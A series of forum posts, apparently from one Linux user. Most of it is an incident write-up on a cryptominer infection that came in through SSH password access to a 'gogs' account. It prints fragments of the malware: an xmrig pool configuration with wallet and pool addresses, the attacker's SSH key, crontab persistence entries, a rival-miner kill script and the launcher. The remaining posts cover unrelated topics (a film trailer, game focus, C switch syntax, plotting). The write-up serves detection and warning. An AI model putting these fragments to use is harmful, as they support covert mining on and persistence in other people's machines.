Можно меня заморозить до первого числа? Пожалуйста.
Сервер отключать не обязательно, пусть люди общаются. Спасибо.
Сервер отключать не обязательно, пусть люди общаются. Спасибо.
В связи с АХТУНГ: Пишу из горящего танка , ко мне на linux ПК влез майнер! накатываю свежий Debian. Чтобы избежать детских ошибок чтобы вы посоветовали в плане безопасности системы.
Будет роутер, в промежутке между провайдером и мною.
iptables
fail2ban
авторизация по ключу
Монтирование с noexec, но всё же веду разработку и надо запускать бинари из хомячка, это удобно.
Это с вашими советами по конфигурации и иное что порекомендуете касательно настройки свежей системы?
Подробности чуть попозже я сейчас аудит аудитаю. Сеть включил только что-бы отписать, сейчас вырублю.
Суть у меня от отдельного пользователя по имени gogs был запущен сервис gogs через systemd https://i.ibb.co/qpthFzW/20210913040630-494x376.png не так давно мне приспичило перезагрузить комп ибо я забыл на проце виртулизацию активировать, и после включения и поднятия гогса 3 ядра проца зависли на 100% я увидал это https://i.ibb.co/GWB9Qwz/20210913033655-1408x93.png погрепал нашёл это https://i.ibb.co/bsKhpD5/20210913040047-507x381.png
В логал скрипты долбились во всё, но остались под пользователем gogs. Процессы (там ещё были) я не убил, а приостановил. Хороче сейчас всё проверю и вернусь.
Почему гогс? Да потому что он запускался от отдельного пользователя и кроме настроенного gogs там ничего нет. У меня сейчас скрипты, ssh ключ публичный который прописался вместо того что был, бинарник этой хрени и логи немного. Я хз куда скидывать эту гадость, да и скидывать ли?
И так сегодня ночью я перезагрузил ПК. Обнаружил что 3 ядра процессора заняты на 100% увидев запущенный процесс ./kswapd0 запущенный от пользователя gogs которого я создал что-бы от его имени запускалась git вебморда одноимённого проекта.
Все процессы от имени пользователя gogs я приостановил, отключил все сетевые соединения и погасил интерфейсы eth0,wlan0
Cверил /etc с бекапом по sha512 всё прежнее, на месте, обновлённое проверил глазами, никаких прописанных кронов и сервисов нет.
Все файлы из пользователя gogs скопировал в отдельный каталог для изучения. Запущенные процессы не имели открытых файлов поэтому там изучать нечего я их просто убил. Так же вычистил всё что-было связано с пользователем gogs и затем удалил его самого. Всё. Проверил свой хомяк, левых бинарей у меня нет. ssh по ключам. Никакой активности всё штатно. Эта вода что-бы не отвечать на вопросы, а ты это, а ты то.
И так, запустил я компуктер и запустился гогс сервер (а я реееедко перезагружаюсь) Его лог на момент запуска.
2021/09/13 00:17:31 [TRACE] Doing: MirrorUpdate
2021/09/13 00:27:31 [TRACE] Doing: MirrorUpdate
2021/09/13 00:31:38 [TRACE] Log Mode: File (Trace)
2021/09/13 00:31:38 [ INFO] Gogs 0.11.53.0603
2021/09/13 00:31:38 [ INFO] Cache Service Enabled
2021/09/13 00:31:38 [ INFO] Session Service Enabled
2021/09/13 00:31:38 [ INFO] Git Version: 2.33.0
2021/09/13 00:31:38 [TRACE] Doing: CheckRepoStats
2021/09/13 00:31:38 [ INFO] SQLite3 Supported
2021/09/13 00:31:38 [ INFO] Run Mode: Production
2021/09/13 00:31:39 [ INFO] Listen: http://0.0.0.0:3000
2021/09/13 00:31:58 [TRACE] Log Mode: File (Trace)
2021/09/13 00:31:58 [ INFO] Gogs 0.11.53.0603
2021/09/13 00:31:58 [ INFO] Cache Service Enabled
2021/09/13 00:31:58 [ INFO] Session Service Enabled
2021/09/13 00:31:58 [ INFO] Git Version: 2.33.0
2021/09/13 00:31:58 [ INFO] SQLite3 Supported
2021/09/13 00:31:58 [ INFO] Run Mode: Production
2021/09/13 00:31:58 [TRACE] Doing: CheckRepoStats
2021/09/13 00:31:58 [TRACE] Log Mode: File (Trace)
2021/09/13 00:31:58 [ INFO] Gogs 0.11.53.0603
2021/09/13 00:31:58 [ INFO] Cache Service Enabled
2021/09/13 00:31:58 [ INFO] Session Service Enabled
2021/09/13 00:31:58 [ INFO] Git Version: 2.33.0
2021/09/13 00:31:58 [ INFO] SQLite3 Supported
2021/09/13 00:31:58 [ INFO] Run Mode: Production
2021/09/13 00:31:58 [TRACE] Doing: CheckRepoStats
2021/09/13 00:31:58 [ INFO] Listen: http://0.0.0.0:3000
2021/09/13 00:41:58 [TRACE] Doing: MirrorUpdate
Во время его работы были созданы файлы с датой создания Пн 13 сен 2021 00∶31∶38 в каталоге ./configrc
.configrc$ ls -lAR
.:
итого 16
drwxrwxrwx 2 1002 1002 4096 сен 13 05:44 a
drwxrwxrwx 2 1002 1002 4096 сен 13 05:44 b
-rwxrwxrwx 1 1002 1002 271 сен 13 00:31 cron.d
-rwxrwxrwx 1 1002 1002 21 сен 13 00:31 dir2.dir
./a:
итого 2820
-rwxrwxrwx 1 1002 1002 876 сен 13 00:31 a
-rwxrwxrwx 1 1002 1002 1 сен 13 02:44 bash.pid
-rwxrwxrwx 1 1002 1002 23 сен 13 02:44 dir.dir
-rwxrwxrwx 1 1002 1002 9568 сен 13 00:31 init0
-rwxrwxrwx 1 1002 1002 2843144 сен 13 00:31 kswapd0
-rwxrwxrwx 1 1002 1002 10 сен 13 05:44 .procs
-rwxrwxrwx 1 1002 1002 226 сен 13 00:31 run
-rwxrwxrwx 1 1002 1002 700 сен 13 00:31 stop
-rwxrwxrwx 1 1002 1002 202 сен 13 00:31 upd
./b:
итого 84
-rwxrwxrwx 1 1002 1002 11634 сен 13 05:44 1
-rwxrwxrwx 1 1002 1002 157 сен 13 00:31 a
-rwxrwxrwx 1 1002 1002 23 сен 13 00:31 dir.dir
-rwxrwxrwx 1 1002 1002 50935 сен 13 00:31 run
-rwxrwxrwx 1 1002 1002 6004 сен 13 00:31 stop
-rwxrwxrwx 1 1002 1002 42 сен 13 00:31 sync
Внутри видно kswapd0 который и был запущен. Это бинарь упакованый. Внутри майнер xmrig c вшитым конфигом вот такого содержания
"algo": null,
"coin": "monero",
"url": "[2a0e:fa00:0:5::1]:80",
"user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": true,
"enabled": true,
"tls": false,
"tls-fingerprint": null,
"daemon": false,
"self-select": null
},
{
"algo": null,
"coin": "monero",
"url": "[2a0e:fa00:0:5::1]:443",
"user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": true,
"enabled": true,
"tls": false,
"tls-fingerprint": null,
"daemon": false,
"self-select": null
},
{
"algo": null,
"coin": "monero",
"url": "debian-package.center:80",
"user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": true,
"enabled": true,
"tls": false,
"tls-fingerprint": null,
"daemon": false,
"self-select": null
},
{
"algo": null,
"coin": "monero",
"url": "45.9.148.125:80",
"user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": true,
"enabled": true,
"tls": false,
"tls-fingerprint": null,
"daemon": false,
"self-select": null
},
{
"algo": null,
"coin": "monero",
"url": "45.9.148.125:443",
"user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": true,
"enabled": true,
"tls": false,
"tls-fingerprint": null,
"daemon": false,
"self-select": null
},
{
"algo": null,
"coin": "monero",
"url": "45.9.148.129:80",
"user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": true,
"enabled": true,
"tls": false,
"tls-fingerprint": null,
"daemon": false,
"self-select": null
},
{
"algo": null,
"coin": "monero",
"url": "45.9.148.129:443",
"user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": true,
"enabled": true,
"tls": false,
"tls-fingerprint": null,
"daemon": false,
"self-select": null
},
{
"algo": null,
"coin": "monero",
"url": "45.9.148.117:80",
"user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": true,
"enabled": true,
"tls": false,
"tls-fingerprint": null,
"daemon": false,
"self-select": null
},
{
"algo": null,
"coin": "monero",
"url": "45.9.148.117:443",
"user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": true,
"enabled": true,
"tls": false,
"tls-fingerprint": null,
"daemon": false,
"self-select": null
},
{
"algo": null,
"coin": "monero",
"url": "45.9.148.58:80",
"user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": true,
"enabled": true,
"tls": false,
"tls-fingerprint": null,
"daemon": false,
"self-select": null
},
{
"algo": null,
"coin": "monero",
"url": "45.9.148.58:443",
"user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": true,
"enabled": true,
"tls": false,
"tls-fingerprint": null,
"daemon": false,
"self-select": null
},
{
"algo": null,
"coin": "monero",
"url": "45.9.148.59:80",
"user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": true,
"enabled": true,
"tls": false,
"tls-fingerprint": null,
"daemon": false,
"self-select": null
},
{
"algo": null,
"coin": "monero",
"url": "45.9.148.59:443",
"user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": true,
"enabled": true,
"tls": false,
"tls-fingerprint": null,
"daemon": false,
"self-select": null
}
],
"print-time": 60,
"health-print-time": 60,
"retries": 1,
"retry-pause": 3,
"syslog": false,
"user-agent": null,
"watch": true,
"pause-on-battery": false
}
Сам бинарник публиковать не буду.
Одним из скриптов был удалён и вновь создан каталог .ssh с содержимым.
.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr
SHA512 всех этих файлов
1ba854c321d89441291da2638d65748ffa06923a63fd2bb9be8a66440236503fb34e375726a8da679b55ced51dda82293ffcfb8bb76563e2da0071222d3247bf .ssh/authorized_keys
3567d8d553d42e4450683126ac7beac5c5e713091b20aaf28040d91bfebe19b0431588d7c34e4a3d5c6e4f7af45e1ccce7654e730c0512c0c5c5d28be548cb24 .configrc/cron.d
ee8c0f03fa194321a0a8324418ba3204b06323a424b295b514213e90aa656a47d76e2f81074d46ccddd7801276de7d5665a3bbd770507dc6425e697b5bc97c95 .configrc/dir2.dir
f26bcbdcf7417308bdec3f3f8b6ef453d2b7417b16d015eeddfc447955068b48667554fd9a1b896ee9d44ac3c2cac54137fc455c45f94251f42e5e3a1e7b6230 .configrc/a/a
be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09 .configrc/a/bash.pid
1bc338f3ed46c8623a6a6e871d71a7641d7daa5494b2502523c21f1d5af097ada2c441bf12f222a3d61dc7169494693635ea14200faabae6993781c16167abac .configrc/a/dir.dir
8ff2784f8437875a8b388d3f0d7eaf4b9d98c2374aafbd33df19f1255842889caf9bdafb55c5f9ac5e937624aae58fc1845134335916f79648e8a5d4de077d79 .configrc/a/init0
ede860bbec1a47a971a5bcfd024a9e338b2fdfe407df00b0cd0f4e436e3175d31f68964605b351abc3784d5c9046cd00189b7b3a82359cfeb1081b5d85cd6dda .configrc/a/kswapd0
a7b00698bf4d74c154ea4fdc1b76eae4ca6319189d63354a77f2a813ae248d36b16154f6f3d7f9ae3d5fa84e882e7476b02f1870fde3f3251f3d4f4733cc0a22 .configrc/a/run
b8bc24b9ea7b26e18bb26c9b1887f600142d5f283f074d64db72a9fea551f754904b1c8e93cb58282eb08fec5b03730ab66351526567a39c78f57648af40bc3f .configrc/a/stop
fdceef26293c927036bec874457fd8e7a7baa94188a8f8720aeed5e2041ee412eee8731a1df1ce17b5d35ed47e0c39828156db78af6e0134f4e7bcebf5557e7a .configrc/a/upd
91da308e50e177c9b7df28d4feaf6d9a20593d997bdbde232110216b7d346a39197960f4d342d3b9a7498ed68018cd375cfab22245ec4d7ab03fcab56753d862 .configrc/a/.procs
95305080f1dc993c89dde01138a2b915e20201bf6bdd7595393708b72d2b75abd376ac0c4df53fc72e33555294cedf60f3c702ad72bb3f8d5d461c2e42f26da1 .configrc/b/1
21d49249ca656d3f6ce7a77876796590ae66d31963a6cdf65bb294ca45372e68686f8f7fd846035ed53f1155962447a8054bf2ea081e02fbb4b3fa1b6e376881 .configrc/b/a
a99d5a12ce0e3d4fe1b8606200376b239bfe668353a2402f45eccd61c33451a466f663fe0c5817b41c2e748f69f36dece3b1887a7f290b0e5375abc9c47c1dad .configrc/b/dir.dir
0dc180b53574dce4de4160c54810a019edae1828f0cc6c1513a3dac7173833e41d19cc9a81b762136e37a7c578a43508f076a8fa9fc9ff919a0748f259d431fe .configrc/b/run
cd1c489afdcd9a02a05401e803e238417e2421b7f43b93b25b882d2bd005ff2e4ae61f3bd47aaa5577d9c3573c34dfe7ee6801abdc16bfe38c70550c97358f2a .configrc/b/stop
3b196433e2d0c57946d61512b004e14c46e1207d3de5a0dcbaa62966b98449c08c3074d29cf0211648a26db2298caa4af294c69dcd8ab4cf4ec16dda14d23bf0 .configrc/b/sync
Есть лог вот с таким сорержимым https://pastebin.com/5LyB7pP9
Внутри скриптов немного логики, определение процессора, много base64 строк, это бинарники которые скрипты восстанавливают если надо.
От пользователя отдельного этого запускался только gogs в автоматическом режиме, всё. Я считаю виноват гогс.
./gogs --version
Gogs version 0.11.53.0603
sha512sum ./gogs
c7a5541cd03fdc69b12c714be32ba6d6e8fdad5af42b865a3cd1d333db6cba0130130399b6a8283dacab3794ff1b359e865fe47085633cb892d6119f6642603f ./gogs
Хотел залить куда то вдруг кому покопать интересно, но в этом смысла нет, можно просто скачать нужную версию и проверить хеш, если совпало значит оно.
Конфиг был такой
APP_NAME = Gogs
RUN_USER = gogs
RUN_MODE = prod
[database]
DB_TYPE = sqlite3
HOST = 127.0.0.1:3306
NAME = gogs
USER = root
PASSWD =
SSL_MODE = disable
PATH = /home/gogs/gogs/data/gogs.db
[repository]
ROOT = /home/gogs/gogs-repositories
[server]
DOMAIN = localhost
HTTP_PORT = 3000
ROOT_URL = http://localhost:3000/
DISABLE_SSH = false
SSH_PORT = 22
START_SSH_SERVER = false
OFFLINE_MODE = false
[mailer]
ENABLED = false
[service]
REGISTER_EMAIL_CONFIRM = false
ENABLE_NOTIFY_MAIL = false
DISABLE_REGISTRATION = true
ENABLE_CAPTCHA = false
REQUIRE_SIGNIN_VIEW = true
[picture]
DISABLE_GRAVATAR = false
ENABLE_FEDERATED_AVATAR = false
[session]
PROVIDER = file
[log]
MODE = file
LEVEL = Info
ROOT_PATH = /home/gogs/gogs/log
[security]
INSTALL_LOCK = true
SECRET_KEY = AHYsdf2GIsqRJkD
Собственно вот и всё. Можно ещё написать подробностей, но мне спать хоца. Гланое хеши выложил и основную инфу, кому надо смогут проверить нет ли у них такой параши.
Сравнил ещё через diff -qr никаких различий в gogs у меня и тут https://github.com/gogs/gogs/releases/tag/v0.11.53 linux_amd64.tar.gz нет. Не считая мною созданных файлов и иного созданного в процессе работы. Там я всё глазами проверил всё чисто.
Подытожу. Был скачан gogs настроен как в конфиге выше, для него был создан пользоваьтель gogs в домешнем каталоге которого и находился исполняемый файл, был написан юнит как на скрине выше который запускался при старте системы. Всё. До этого всё нормально было и работало, но после перезагрузки от пользователя gogs создались файлы и запустили майнер.
Скрипты я публиковатьк как сказал не буду что-бы мамкиным какерам не давать инструменты. Но скажу, оно прописывает пользоватю задачу в cron которая располагалась в /var/spool/cron/crontabs/gogs
1 1 */2 * * /home/gogs/.configrc/a/upd>/dev/null 2>&1
@reboot /home/gogs/.configrc/a/upd>/dev/null 2>&1
5 8 * * 1 /home/gogs/.configrc/b/sync>/dev/null 2>&1
@reboot /home/gogs/.configrc/b/sync>/dev/null 2>&1
0 */23 * * * /tmp/.X25-unix/.rsync/c/aptitude>/dev/null 2>&1
ОБРАТИТЕ ВНИМАНИЕ НА ПОСЛЕДНЮЮ СТРОЧКУ Если вы проверяете у себя.
В ./a/upd немного логики и запуск ./run и далее по цепочке, множество переходов вплоть до ./b где если сервер смотрит попой в мир с белым ip то всё, удалённый доступ есть по ключу. Но перед тем как запустится оно проверяте кучу майреров и пытается их убить лол )))))
Вон их скока всяких бывает
killall \.Historys
killall \.sshd
killall neptune
killall xm64
killall xm32
killall ld-linux
killall xmrig
killall \.xmrig
killall suppoieup
pkill -f sourplum
pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "119.9.76.107:443"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ld-linux" | awk '{print $2}'|xargs kill -9
ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9
ps auxf|grep Donald| awk '{print $2}'|xargs kill -9
ps auxf|grep Macron| awk '{print $2}'|xargs kill -9
ps auxf|grep ld-linux| awk '{print $2}'|xargs kill -9
ps auxf|grep named| awk '{print $2}'|xargs kill -9
ps auxf|grep kernelcfg| awk '{print $2}'|xargs kill -9
ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9
ps auxf|grep kernelupgrade| awk '{print $2}'|xargs kill -9
ps auxf|grep kernelorg| awk '{print $2}'|xargs kill -9
ps auxf|grep kernelupdates| awk '{print $2}'|xargs kill -9
ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
ps ax|grep -o './[0-9]* -c'| xargs pkill -f
pkill -f /usr/bin/.sshd
pkill -f acpid
pkill -f Donald
pkill -f Macron
pkill -f AnXqV.yam
pkill -f apaceha
pkill -f askdljlqw
pkill -f bashe
pkill -f bashf
pkill -f bashg
pkill -f bashh
pkill -f bashx
pkill -f BI5zj
pkill -f biosetjenkins
pkill -f bonn.sh
pkill -f bonns
pkill -f conn.sh
pkill -f conns
pkill -f cryptonight
pkill -f crypto-pool
pkill -f ddg.2011
pkill -f deamon
pkill -f disk_genius
pkill -f donns
pkill -f Duck.sh
pkill -f gddr
pkill -f Guard.sh
pkill -f i586
pkill -f icb5o
pkill -f ir29xc1
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbalanc1
pkill -f irqbalance
pkill -f irqbnc1
pkill -f JnKihGjn
pkill -f jweri
pkill -f kw.sh
pkill -f kworker34
pkill -f kxjd
pkill -f libapache
pkill -f Loopback
pkill -f lx26
pkill -f mgwsl
pkill -f minerd
pkill -f minergate
pkill -f minexmr
pkill -f mixnerdx
pkill -f mstxmr
pkill -f nanoWatch
pkill -f nopxi
pkill -f NXLAi
pkill -f performedl
pkill -f polkitd
pkill -f pro.sh
pkill -f pythno
pkill -f qW3xT.2
pkill -f sourplum
pkill -f stratum
pkill -f sustes
pkill -f wnTKYg
pkill -f XbashY
pkill -f XJnRj
pkill -f xmrig
pkill -f xmrigDaemon
pkill -f xmrigMiner
pkill -f ysaydh
pkill -f zigw
pkill -f ld-linux
И это ещё не всё, лол.
Оно даже по портам своих друзей по роду ищет
netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep 119.9.76.107 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :23 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :143 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :2222 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3389 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :6665 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :6667 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :8444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep 138.199.40.233:9137 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep 185.150.117.29 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
И только восле всех приготовлений, когда оно готово единолично майнить оно себя запускает
#!/bin/bash
./stop
./init0
sleep 10
pwd > dir.dir
dir=$(cat dir.dir)
ARCH=`uname -m`
if [ "$ARCH" == "i686" ]; then
nohup ./anacron >>/dev/null &
elif [ "$ARCH" == "x86_64" ]; then
./kswapd0
fi
echo $! > bash.pid
К слову ./anacron у меня небыло.
Ещё оно содержит base64 строку которая декодируясь отдаётся в perl
eval unpack u=>q{_(R`@("`@("`@("`M($%D:6-I;VYA9&\@8V]M8 и так далее в этом виде дохрена перлоты
Всё. Я спать.
Я встал, а вдруг меня брутфорснули, короче смотрю сюда grep -in Accept /var/log/auth.log
И Уоооооооооопааааааанааааа
...
25515:Sep 13 00:03:55 gnu sshd[250080]: Accepted password for gogs from 222.232.242.116 port 56529 ssh2
...
Чиииииииииииивоооооооооооооооо? Каким хером? Ай пи 222.232.242.116 South Korea🇰🇷 Seoul Seoul
Как оно пробралось? Вернее как он с внешнего ip ко мне в локалхост пришёл? Яж за провайдером? Или тут gogs мог подсобить туннель организовав? Я нихера не понял.
Судя по времени 00:03:55 коннект по ssh был до создания файлов 00∶31∶38.
Я не первый https://savepearlharbor.com/?p=296720 GOGS тут походу не причём, меня просто каким то хером с внешнего ip хотя у меня мой динамический подконектились к моему пк. Лол.
Как? Я не догоняю и очень хочу спать. Оборудование провайдера похакано и оно во внутренней сети брутфорсит? Отпишите. А мне насрать я точно рпять спать. вСё.
В которых я так понял меняется только показываемое время.
https://thechoiceisyours.whatisthematrix.com/ru/ завтра трейлер, нео проснись ты *****.
Чёт мне кажется что фильм будет так себе.
Но я надеюсь! Люблю матрицу.
Трейлер появился https://www.youtube.com/watch?v=8qB8EGNOtr8
Ничего не зелёное ((, где фильтры для антуражу? Вроде опять супергеройка с романтикой. Одно можно понять. У Нео отшибло память, ему помогли вспомнить, а потом сделали предложение от которого он не мог отказаться , а потом бдыыщщ, виуувиииууу тыррр тырррр, бабааааах, бууум, дрыыыщщщ и он всех победил. Короче не ждите матрицу, будет просто вероятно хороший боевик походу. Но к матрице уже отношение слабое.
Как сделать так что-бы заданное мною окно думало что оно в фокусе всегда, но никакого пользовательского ввода ему не шло, мышка, клава там?
Нужно для игры, когда её сворачиваю альт-таб она там звук икает страшно.
UDP:
Ничего патчить не нужно игра INSURGENCY но тут подойдёт любая игра на SOURCE ENGINE. Есть параметр engine_no_focus_sleep 0 отключающий задержку sleep по умолчанию значение 50 миллисекунд. Оно ловит эвенты window_minimised/widow_unfocus/и подобное и начинает на заданное время стопорить игру целиком.
Я не совсем понимаю. Насколько плохо делать вот так.
switch(ch)
{
case '%': case '$': case '#': foo(ch); break;
case '!': bar(ch); break;
default: break;
}
Вместо этого
switch(ch)
{
case '%': foo(ch); break;
case '$': foo(ch); break;
case '#': foo(ch); break;
case '!': bar(ch); break;
default: break;
}
Или первое разворачивается во второе и всё хорошо? Тут коротко для примера, но допустим таких case 1: case 50 case 500: ... bla(data) штук 100500.
UDP: Разницы нет, ассемблерный вывод одинаковый gcc/clang. Но я так и не нашёл где явно описано.
UDP2: Разница есть, но мужно для каждого конкретного случая смотреть чего да как объяснения ниже.
Предлагаю удалять в job все сообщения где такое
И ещё куча неактуальных тем среди актуальных.
То есть если заказчик написал что исполнитель найден, но не отметил галочкой «решено» (этого функционала вообще нет лол) или не написал в заголовке [закрыто] то тему просто удалять, если галочку поставил то оставлять так как явно видно что тема решена. Такие темы просто неактуальны и нет смысла им продолжать существовать рядом с теми где работника всё ещё ищут.
Или разрешить удаление таких тем путём отправки в Ссылки на некорректные сообщения (56)
Закрытые объявления о работе без пометки что они завершены, замусоривают список последних актуальных вакансий и не имеют практической ценности.
UDP: https://github.com/maxcom/lorsource/issues/965 Проблема есть, решений несколько, чво решите то и будет или так и оставим.
Надмозгный заголовок, да. Суть. Хочу вот так ./myapp | some-plot выводить графики. Не картинку, а что-бы жрало что дают и рисовало в реалтайме. Например у меня сейсмодатчик программа его читает формирует нужный формат и пускает его в виде текста в терминал, плот кушает и показывает как кто-то ятвойдомшатал.
Питон не нужен, иное тоже, хочу обособленную программу которой надо только совать формат который она умеет и всё. Утилитки на сях, а если вызывать изнутри всегда есть popen. gnuplot я так понял так не может?
